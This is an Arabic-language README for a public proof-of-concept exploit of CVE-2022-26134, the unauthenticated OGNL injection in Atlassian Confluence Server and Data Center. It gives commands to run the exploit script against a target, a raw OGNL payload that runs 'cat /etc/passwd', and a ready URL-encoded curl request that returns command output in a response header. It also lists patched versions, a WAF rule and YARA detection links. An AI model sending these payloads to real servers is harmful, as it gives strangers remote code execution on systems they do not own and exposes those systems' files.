b4dboy17/cve-2022-26134إثبات مفهوم لاستغلال CVE-2022-26134، وهي ثغرة حقن OGNL في Atlassian Confluence Server وData Center، مما يتيح تنفيذ الأكواد عن بُعد دون مصادقة.
سكربت إثبات مفهوم يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد التي تؤثر على منتجات Atlassian Confluence 7.18 والإصدارات الأقدم. تسمح ثغرة حقن OGNL لمستخدم غير مصادق بتنفيذ تعليمات برمجية عشوائية على خادم Confluence Server أو مثيل Data Center.
جميع الإصدارات المدعومة من Confluence Server وData Center متأثرة.
الإصدارات الأقدم من Confluence Server وData Center بعد الإصدار 1.3.0 وحتى أقل من 7.18.1 متأثرة.
درجة خطورة الثغرة وفق معيار CVSS هي 10 من 10.
استنسخ المستودع
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
ثم يمكنك تشغيل الأداة بالأمر الذي تختاره كما يلي:
python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
مثال باستخدام أمر CURL:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
بعد ذلك، ستظهر نتيجة الأمر في المعامل X-Cmd-Response في ترويسة الاستجابة.
اتبع التوصيات الرسمية من Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
أصدرت Atlassian الإصدارات 7.4.17، و7.13.7، و7.14.3، و7.15.2، و7.16.4، و7.17.4، و7.18.1 والتي تحتوي على تصحيح لهذه المشكلة.
تؤثر هذه الثغرة على جميع المثيلات المستضافة ذاتيًا. إذا كنت تستخدم جدار حماية لتطبيقات الويب (WAF)، يمكنك حجب عناوين URL التي تحتوي على ${ في داخلها.
YARA (بواسطة Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
لأغراض تعليمية فقط.
الائتمان: https://github.com/Nwqda